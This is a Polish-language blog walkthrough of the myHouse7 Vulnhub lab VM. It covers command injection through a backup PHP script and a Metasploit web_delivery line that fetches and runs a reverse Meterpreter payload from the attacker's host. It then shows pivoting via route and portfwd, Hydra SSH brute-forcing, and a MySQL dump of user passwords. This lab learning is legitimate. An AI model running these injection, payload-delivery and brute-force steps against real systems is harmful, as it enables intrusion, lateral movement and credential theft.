myHouse7: 1
Write-up is in Polish language.
Metainfo
Nazwa: | myHouse7: 1 |
Autor: | Thepcn3rd |
Wypuszczony: | 2018-11-02 |
Do ściągnięcia: | Vulnhub |
Poziom: | Łatwy |
System: | Linux |
Nauczysz się: | Pivoting |
Wstęp
Ostatnio szukałem czegoś, gdzie mógłbym zastosować Pivoting (dostać się na serwer, który jest za serwerem atakowanym). Na serwisie z podatnymi maszynami Vulnhub znalazłem coś takiego: myHouse7: 1. Niestety ta maszyna może się uruchomić z błędami, ale do tego są odpowiednie solucje jak temu zaradzić. Na XCP-NG jeszcze bardziej jest sprawa skomplikowana (niekompatybilny interfejs). Jak zmienić interfejs, żeby dobrze działał na XCP-NG pisałem już tutaj. Jeszcze jedna rada z mojej strony odnośnie myHouse7. Kiedy obraz zainstalujecie, to nie odpalajcie go do końca, ale od razu wejdźcie w tryb “awaryjny”. Zmieńcie interfejs na eth0 i gdzieś zgrajcie pliki z /home/bob/setup. Jak to się źle odpali, to się pokasują pliki do instalacji i trzeba będzie od początku wirtualkę zainstalować. Z tego co pamiętam, to plik “autostart” jest w /etc/rc.local. A skrypt instalacyjny obrazów Dockera jest w /home/bob/setup/buildDockerNet.sh. Z moich notatek wynika, że jeżeli coś źle pójdzie, to trzeba skasować /home/bob/setup/config i potem uruchomić ./home/bob/setup/buildDockerNet.sh. Na początku chyba trzeba przerobić sieciówkę na eth0 i dopiero potem, jak wszystko jest ok, uruchomić ./home/bob/setup/buildDockerNet.sh. Niestety nie pamiętam dokładnie jak to było, ale zakładam, że wszystko poszło dobrze i wirtualka wystartowała. Jak już wspomniałem o Dockerze, to na maszynie jest 7 działających z niego kontenerów.
Pod tym adresem http://172.16.1.167:20000/ powinno być mniej więcej coś takiego:
Mamy przy okazji pierwszą flagę, a jest ich 20 lub 19. Autor to dobrze opisał. Flaga ma zapis “”, gdzie xxxx jest cyfrą z zakresu 1…9999. Nie będę opisywał całego przejścia. Częściowa solucja jest tutaj i tutaj. Motasem Hamdan w drugiej części się skupił na pivotingu, jednak autor trochę poszedł na skróty i użył go przez dostęp do serwera na którym jest odpalony Docker. A jeżeli nie mamy takiego dostępu, to co wtedy? Na pomoc przychodzi nam Metasploit i jego przekierowanie portów (komenda portfwd). Jednak do końca też to dobrze nie działa. Np. nie zawsze udało mi się połączyć przez pivoting Metasploita z bazą Mysql (o tym później), za to z serwerem Dockera na którym jest SSH już się to udało bez problemu. Opiszę tutaj pivoting przez Metasploita i bez, z dostępem do serwera i przekierowanie portów przez SSH -L.
Zaczynamy
Nie będę opisywał skanowania portów, bo już to pewnie doskonale znacie. Napomknę, że na porcie 8115 jest zainstalowany Anchor CMS w wersji 0.12.7. Możecie ściągnąć sobie kod i zobaczyć, jak to tam wszystko wygląda. Od strony przeglądarki możemy sobie chodzić po katalogach i np. wejść na http://172.16.1.167:8115/anchor/. Wszystkie katalogi są takie jak w źródle. To co przykuło moją uwagę, to wpis w pierwszym poście: /timeclock/backup/
http://172.16.1.167:8115/
Wchodząc na http://172.16.1.167:8115/timeclock/backup/ dostajemy piękny dostęp do Shella, dzięki komendzie browse_backups.php. Odpalając ją mamy listing katalogu, a to już jest wskazówka do wrzucenia tam exploita. Wykonajmy zalecaną komendę. Widzimy, że komenda ls%20-lha wyświetliła nam zawartość katalogu:
http://172.16.1.167:8115//timeclock/backup/browse_backups.php?cmd=ls%20-lha
total 48K drwxrwxrwx 1 root root 4.0K Sep 1 07:29 . drwxr-xr-x 1 root root 4.0K Oct 23 2018 .. -rw-r--r-- 1 root root 27K Oct 23 2018 all.zip -rw-r--r-- 1 root root 190 Oct 23 2018 browse_backups.php -rw-r--r-- 1 root root 18 Oct 23 2018 flag.txt
Exploit
Użyjmy Metasploita do wrzucenia exploita. :) Wykorzystamy exploit/multi/script/web_delivery, a w nim ładunek linux/x86/meterpreter/reverse_tcp. Niestety ładunek PHP Meterpretera nie posiada wszystkich opcji sieciowych. Np. nie ma w nim komendy arp i ifconfig. Jest za to portfwd - komenda do przekierowywania portów, ale czasami może być to za mało.
Wpisujemy:
use multi/script/web_delivery
set payload payload/linux/x86/meterpreter/reverse_tcp
set lhost eth0
set target Linux
show options
Powinniśmy otrzymać:
[*] Starting persistent handler(s)...
msf6 auxiliary(scanner/discovery/arp_sweep) > use multi/script/web_delivery
[*] Using configured payload php/meterpreter/reverse_tcp
msf6 exploit(multi/script/web_delivery) > set payload payload/linux/x86/meterpreter/reverse_tcp
payload => linux/x86/meterpreter/reverse_tcp
msf6 exploit(multi/script/web_delivery) > set lhost eth0
lhost => eth0
msf6 exploit(multi/script/web_delivery) > set target Linux
target => Linux
msf6 exploit(multi/script/web_delivery) > show options
Module options (exploit/multi/script/web_delivery):
Name Current Setting Required Description
---- --------------- -------- -----------
SRVHOST 0.0.0.0 yes The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen
on all addresses.
SRVPORT 8080 yes The local port to listen on.
SSL false no Negotiate SSL for incoming connections
SSLCert no Path to a custom SSL certificate (default is randomly generated)
URIPATH no The URI to use for this exploit (default is random)
Payload options (linux/x86/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST eth0 yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
7 Linux
Następnie uruchamiamy exploita w tle:
msf6 exploit(multi/script/web_delivery) > run -j
[*] Exploit running as background job 0.
[*] Exploit completed, but no session was created.
[*] Started reverse TCP handler on 172.16.1.10:4444
msf6 exploit(multi/script/web_delivery) > [*] Using URL: http://0.0.0.0:8080/L495CA
[*] Local IP: http://172.16.1.10:8080/L495CA
[*] Server started.
[*] Run the following command on the target machine:
wget -qO o6OY7FJX --no-check-certificate http://172.16.1.10:8080/L495CA; chmod +x o6OY7FJX; ./o6OY7FJX& disown
Dostajemy link, który trzeba przekonwertować na kod URL. można to zrobić tutaj
Tekst surowy:
wget -qO o6OY7FJX –no-check-certificate http://172.16.1.10:8080/L495CA; chmod +x o6OY7FJX; ./o6OY7FJX& disown
Tekst zakodowany do formatu URL:
wget%20-qO%20o6OY7FJX%20–no-check-certificate%20http%3A%2F%2F172.16.1.10%3A8080%2FL495CA%3B%20chmod%20%2Bx%20o6OY7FJX%3B%20.%2Fo6OY7FJX%26%20disown
Całość, czyli link+komenda wklejamy do przeglądarki:
http://172.16.1.167:8115//timeclock/backup/browse_backups.php?cmd=wget%20-qO%20o6OY7FJX%20–no-check-certificate%20http%3A%2F%2F172.16.1.10%3A8080%2FL495CA%3B%20chmod%20%2Bx%20o6OY7FJX%3B%20.%2Fo6OY7FJX%26%20disown
Jeżeli wszystko poszło dobrze, powinniśmy mieć dostęp do Shella.
msf6 exploit(multi/script/web_delivery) >
[*] 172.16.1.167 web_delivery - Delivering Payload (207 bytes)
[*] Sending stage (984904 bytes) to 172.16.1.167
[*] Meterpreter session 1 opened (172.16.1.10:4444 -> 172.16.1.167:60164) at 2021-09-01 16:25:03 +0200
msf6 exploit(multi/script/web_delivery) > sessions
Active sessions
===============
Id Name Type Information Connection
-- ---- ---- ----------- ----------
1 meterpreter x86/linux www-data @ c2422a638c6f (uid=33, gid=33, euid=33, egid=33) @ 172 172.16.1.10:4444 -> 172.16.1.167:60164 (172.16.1.167)
.31.10.17
Jeżeli weszliśmy na konsole (session 1) Meterpretera, możemy zamknąć przeglądarkę. Kod eksploita już tam siedzi. Dzięki komendzie arp możemy zobaczyć “skeszowane” arpy.
msf6 exploit(multi/script/web_delivery) > sessions 1
[*] Starting interaction with 1...
meterpreter > arp
ARP cache
=========
IP address MAC address Interface
---------- -----------
---------
172.31.10.1 02:42:1a:3b:48:7d
172.31.10.25 02:42:ac:1f:0a:19
172.31.10.194 02:42:ac:1f:0a:c2
172.31.20.1 02:42:4e:b9:1f:b9
172.31.20.10 02:42:ac:1f:14:0a
172.31.20.194 02:42:ac:1f:14:c2
meterpreter > background
[*] Backgrounding session 1...
Schowajmy sesje w tło (background) i stwórzmy routing dla sieci 172.31.20.0/24 (1 oznacza nr. sesji):
msf6 exploit(multi/script/web_delivery) > route add 172.31.20.0/24 1
[*] Route added
msf6 exploit(multi/script/web_delivery) > route
IPv4 Active Routing Table
=========================
Subnet Netmask Gateway
------ ------- -------
172.31.20.0 255.255.255.0 Session 1
[*] There are currently no IPv6 routes defined.
msf6 exploit(multi/script/web_delivery) >
Teraz możemy skanować serwery z naszego komputera, które widzi tylko serwer 172.16.1.167:
use auxiliary/scanner/portscan/tcp
set rhosts 172.31.20.194
run -j
msf6 auxiliary(scanner/portscan/tcp) > use auxiliary/scanner/portscan/tcp
msf6 auxiliary(scanner/portscan/tcp) > set rhosts 172.31.20.194
rhosts => 172.31.200.194
msf6 auxiliary(scanner/portscan/tcp) > run -j
[*] Auxiliary module running as background job 2.
msf6 auxiliary(scanner/portscan/tcp) >
[+] 172.31.20.194: - 172.31.20.194:24 - TCP OPEN
Jak widzimy, jest otwarty port 24 na ip 172.31.20.194.
Pivoting
Teraz możemy przekierować cały ruch z 172.31.20.194, a dokładniej jeden port na naszą lokalną maszynę:
sessions 1
portfwd add -l 24 -p 24 -r 172.31.20.194
portfwd
msf6 auxiliary(scanner/portscan/tcp) > sessions 1
[*] Starting interaction with 1...
meterpreter > portfwd add -l 24 -p 24 -r 172.31.20.194
[*] Local TCP relay created: :24 <-> 172.31.20.194:24
meterpreter > portfwd
Active Port Forwards
====================
Index Local Remote Direction
----- ----- ------ ---------
1 172.31.20.194:24 0.0.0.0:24 Forward
1 total active port forwards.
meterpreter >
Przechodzimy na jakąkolwiek konsolę w naszym systemie i sprawdzamy czy jest otwarty port 24:
root@kali:/home/szikers/myhouse7-1# ss -tuln
Netid State Recv-Q Send-Q Local Address:Port Peer Address:Port Process
tcp LISTEN 0 256 172.16.1.10:4444 0.0.0.0:*
tcp LISTEN 0 256 0.0.0.0:8080 0.0.0.0:*
tcp LISTEN 0 128 0.0.0.0:22 0.0.0.0:*
tcp LISTEN 0 256 0.0.0.0:24 0.0.0.0:*
tcp LISTEN 0 244 127.0.0.1:5432 0.0.0.0:*
tcp LISTEN 0 128 [::]:22 [::]:*
tcp LISTEN 0 244 [::1]:5432 [::]:*
Widać, że połączanie na 24 porcie jest. Teraz sprawdźmy co się tam kryje:
SSH
# root@kali:/home/szikers/myhouse7-1# nmap -sV -p 24 127.0.0.1
Starting Nmap 7.91 ( https://nmap.org ) at 2021-09-01 20:03 CEST
Nmap scan report for localhost (127.0.0.1)
Host is up (0.000041s latency).
PORT STATE SERVICE VERSION
24/tcp open ssh OpenSSH 7.6p1 Ubuntu 4 (Ubuntu Linux; protocol 2.0)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 0.58 seconds
SSH - łamanie czymkolwiek przez portfwd to masakra, nie wiem czym to jest spowodowane, więc od razu wejdźmy na Shella.
root@kali:/home/szikers/myhouse7-1# ssh 127.0.0.1 -p 24
FLAG: ""
root@127.0.0.1's password:
Welcome to Ubuntu 18.04.1 LTS (GNU/Linux 4.15.0-38-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage
This system has been minimized by removing packages and content that are
not required on a system that users do not log into.
To restore this content, you can run the 'unminimize' command.
Last login: Wed Sep 1 19:16:43 2021 from 172.31.20.1
root@3325411fbe96:~#
root@3325411fbe96:~#
root@3325411fbe96:~# ls
flag.txt
Ciekawostka jest taka, że nie zawsze mogłem się dobrze połączyć na Mysql (o tym później) przez portfwd Metasploita. Za to bez problemu poszło połączenie przez SSH na serwer. Jednak tym sposobem trzeba znać login i hasło. Autor wszystkim to ułatwił: admin/admin. Pokaże jak to działa. Na jednej konsoli nawiązujemy połączenie:
# ssh -N -L 24:172.31.20.194:24 admin@172.16.1.167
a na drugiej łamiemy:
# root@kali:/home/szikers/myhouse7-1# hydra -P password.txt -L users.txt 127.0.0.1 -s 24 ssh -vv
Hydra v9.1 (c) 2020 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2021-09-01 22:00:24
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4
[WARNING] Restorefile (you have 10 seconds to abort... (use option -I to skip waiting)) from a previous session found, to prevent overwriting, ./hydra.restore
[DATA] max 16 tasks per 1 server, overall 16 tasks, 24 login tries (l:6/p:4), ~2 tries per task
[DATA] attacking ssh://127.0.0.1:24/
[VERBOSE] Resolving addresses ... [VERBOSE] resolving done
[INFO] Testing if password authentication is supported by ssh://admin@127.0.0.1:24
[INFO] Successful, password authentication is supported by ssh://127.0.0.1:24
[ERROR] could not connect to target port 24: Socket error: disconnected
[ERROR] ssh protocol error
[ERROR] could not connect to target port 24: Socket error: disconnected
[ERROR] could not connect to target port 24: Socket error: disconnected
[ERROR] ssh protocol error
[ERROR] ssh protocol error
[ERROR] could not connect to target port 24: Socket error: disconnected
[ERROR] ssh protocol error
[ERROR] could not connect to target port 24: Socket error: disconnected
[ERROR] ssh protocol error
[ERROR] could not connect to target port 24: Socket error: disconnected
[ERROR] ssh protocol error
[ERROR] could not connect to target port 24: Socket error: disconnected
[ERROR] ssh protocol error
[24][ssh] host: 127.0.0.1 login: root password: anchor
[ERROR] could not connect to target port 24: Socket error: disconnected
[ERROR] ssh protocol error
[VERBOSE] Retrying connection for child 1
[STATUS] attack finished for 127.0.0.1 (waiting for children to complete tests)
[ERROR] could not connect to target port 24: Socket error: disconnected
[ERROR] ssh protocol error
[VERBOSE] Retrying connection for child 5
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2021-09-01 22:00:39
Już trochę lepiej, ale łamanie haseł przez pivoting to jest masakra. Nie wiem czy tak jest wszędzie, bo to moja pierwsza próba, ale podejrzewam, że szybko to nie działa.
MYSQL
Wracamy do Metasploita. Na ip 172.31.20.10, porcie 3306 jest MYSQL. Też możemy na niego wejść przez msfconsole (ile się namęczyłem, zanim mi się udało bez błędu wejść, a okazało się, że to ładunek Metasploita coś miesza, o tym w czerwonej ramce). Login i hasło na MYSQLa było w archiwum http://172.16.1.167:8115/timeclock/backup/all.zip w pliku db.php. Tę operację najlepiej zrobić na świeżo odpalonym Metasploicie. Parę razy mi się nie udało, bo w tle musiały być jakieś pozostałości i był błąd podczas łączenia się do bazy. Port 3306 zamieniłem na 3307, bo ktoś może używać. Jeżeli zaś 3307 jest otwarty, to należy go zamienić na inny. Więc wychodzimy z Metasploita i ponownie wchodzimy. Poniżej jest cała procedura:
use multi/script/web_delivery
set payload linux/x86/meterpreter/reverse_tcp
set target Linux
run -j
wget -qO jp4AKytE --no-check-certificate http://172.16.1.10:8080/IkIOzVOlj; chmod +x jp4AKytE; ./jp4AKytE& disown
sessions 1
portfwd add -l 3307 -p 3306 -r 172.31.20.10
msf6 exploit(multi/script/web_delivery) > exit
[*] Server stopped.
root@kali:/home/szikers# msfconsole
[*] Using configured payload linux/x86/meterpreter/reverse_tcp
[!] The following modules could not be loaded!../
[!] /usr/share/metasploit-framework/modules/auxiliary/scanner/msmail/exchange_enum.go
[!] /usr/share/metasploit-framework/modules/auxiliary/scanner/msmail/onprem_enum.go
[!] /usr/share/metasploit-framework/modules/auxiliary/scanner/msmail/host_id.go
[!] Please see /root/.msf4/logs/framework.log for details.
Call trans opt: received. 2-19-98 13:24:18 REC:Loc
Trace program: running
wake up, Neo...
the matrix has you
follow the white rabbit.
knock, knock, Neo.
(`. ,-,
` `. ,;' /
`. ,'/ .'
`. X /.'
.-;--''--.._` ` (
.' / `
, ` ' Q '
, , `._ \
,.| ' `-.;_'
: . ` ; ` ` --,.._;
' ` , ) .'
`._ , ' /_
; ,''-,;' ``-
``-..__``--`
https://metasploit.com
=[ metasploit v6.1.2-dev ]
+ -- --=[ 2159 exploits - 1144 auxiliary - 367 post ]
+ -- --=[ 592 payloads - 45 encoders - 10 nops ]
+ -- --=[ 8 evasion ]
Metasploit tip: You can upgrade a shell to a Meterpreter
session on many platforms using sessions -u
<session_id>
msf6 exploit(multi/script/web_delivery) > use multi/script/web_delivery
[*] Using configured payload linux/x86/meterpreter/reverse_tcp
msf6 exploit(multi/script/web_delivery) > set target Linux
target => Linux
msf6 exploit(multi/script/web_delivery) > run -j
[*] Exploit running as background job 0.
[*] Exploit completed, but no session was created.
[*] Started reverse TCP handler on 172.16.1.10:4444
msf6 exploit(multi/script/web_delivery) > [*] Using URL: http://0.0.0.0:8080/IkIOzVOlj
[*] Local IP: http://172.16.1.10:8080/IkIOzVOlj
[*] Server started.
[*] Run the following command on the target machine:
wget -qO jp4AKytE --no-check-certificate http://172.16.1.10:8080/IkIOzVOlj; chmod +x jp4AKytE; ./jp4AKytE& disown
[*] 172.16.1.167 web_delivery - Delivering Payload (207 bytes)
[*] Sending stage (984904 bytes) to 172.16.1.167
[*] Meterpreter session 1 opened (172.16.1.10:4444 -> 172.16.1.167:57356) at 2021-09-02 17:07:38 +0200
msf6 exploit(multi/script/web_delivery) >
msf6 exploit(multi/script/web_delivery) > sessions 1
[*] Starting interaction with 1...
meterpreter > portfwd add -l 3307 -p 3306 -r 172.31.20.10
[*] Local TCP relay created: :3307 <-> 172.31.20.10:3306
meterpreter >
Ważne żeby na poczatku załadować ładunek payload/linux/x86/shell_reverse_tcp, a nie np. payload/linux/x86/shell_reverse_tcp i potem upgradować Shell. Wtedy jest problem i pomaga tylko ponowne uruchomienie Metasploita.
Jeżeli wszystko poszło dobrze, to powinniśmy się połączyć na konsolę. Poniżej cały zapis.
# root@kali:/home/szikers# mysql -uroot -panchordb -h 127.0.0.1 -P 3307
Welcome to the MariaDB monitor. Commands end with ; or \g.
Your MariaDB connection id is 179
Server version: 10.3.10-MariaDB-1:10.3.10+maria~bionic-log mariadb.org binary distribution
Copyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others.
Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.
MariaDB [(none)]> show databases;
+--------------------+
| Database |
+--------------------+
| anchor |
| flag |
| information_schema |
| mysql |
| performance_schema |
| timeclock |
+--------------------+
6 rows in set (0.003 sec)
MariaDB [(none)]> use timeclock
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A
Database changed
MariaDB [timeclock]> show tables;
+---------------------+
| Tables_in_timeclock |
+---------------------+
| time_data |
| time_periods |
| time_types |
| user_info |
+---------------------+
4 rows in set (0.003 sec)
MariaDB [timeclock]> select * from user_info;
+---------+---------+-------+---------------+----------+----------+
| user_id | fname | lname | level | username | password |
+---------+---------+-------+---------------+----------+----------+
| 1 | Admin | Admin | Administrator | admin | admin |
| 4 | larryjr | tin | Administrator | larryjr | larryjr |
| 5 | heather | yool | Administrator | heather | heather |
| 6 | user1 | | User | user1 | user1 |
| 7 | user2 | user2 | User | user2 | user2 |
+---------+---------+-------+---------------+----------+----------+
5 rows in set (0.003 sec)
MariaDB [timeclock]>
Widzimy, że mamy hasła użytkowników do bazy timeclock.
Słowo na koniec
Pivoting to niby łatwa sprawa, ale mogą wyjść dziwne okoliczności, jak np. z ładunkiem Metasploita. Jeżeli spodobał się wpis, to napisz mejla.
Zostaw komentarz